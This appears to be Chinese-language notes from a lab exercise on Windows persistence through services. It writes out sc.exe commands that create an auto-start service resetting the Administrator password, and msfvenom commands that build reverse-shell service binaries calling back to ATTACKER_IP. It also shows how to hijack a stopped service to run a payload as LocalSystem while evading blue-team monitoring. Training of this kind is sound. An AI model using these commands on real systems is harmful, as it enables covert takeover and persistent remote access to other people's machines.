:::info
服务基本上是在后台运行的可执行文件。配置服务时,您定义将使用哪个可执行文件并选择服务是在机器启动时自动运行还是应手动启动。 我们可以通过两种主要方式滥用服务来建立持久性:创建新服务或修改现有服务以执行我们的有效负载。:::
创建后门服务
我们可以使用以下命令创建并启动名为“THMservice”的服务:服务启动时将执行“net user”命令,将管理员密码重置为
Passwd123
. 请注意该服务是如何设置为自动启动的 (start= auto),这样它就可以在不需要用户交互的情况下运行。
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice
:::danger 注意:每个等号后必须有一个空格才能使命令生效。
:::
我们也可以创建一个<font style="color:rgb(33, 37, 41);">反向 SHELL</font>
程序,来获取目标:
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
然后传输负载到目标,并创建服务:
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2
修改现有服务
虽然为持久性创建新服务效果很好,但蓝队可能会监控整个网络的新服务创建。我们可能希望重用现有服务而不是创建服务以避免检测。通常,任何禁用的服务都是一个很好的候选者,因为它可能会在用户不注意的情况下被更改。
C:\> sc.exe query state=all
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
您应该能够找到名为 THMService3 的已停止服务。要查询服务的配置,可以使用以下命令:
C:\> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: THMService3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\THMService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMService3
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local Service
:::danger
在使用服务进行持久化时,我们关心三件事:- 可执行文件 ( BINARY_PATH_NAME ) 应该指向我们的负载。
- START_TYPE应该是自动的,这样负载就可以在没有用户交互的情况下运行。
- SERVICE_START_NAME是运行服务的帐户,最好将其设置为LocalSystem以获得 SYSTEM 权
:::
我们使用 msfvenom 创建一个 反向 SHELL:
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe
要重新配置“THMservice3”参数,我们可以使用以下命令:
C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
然后您可以再次查询服务的配置以检查是否一切都按预期进行:
C:\> sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: THMservice3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\rev-svc2.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMservice3
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem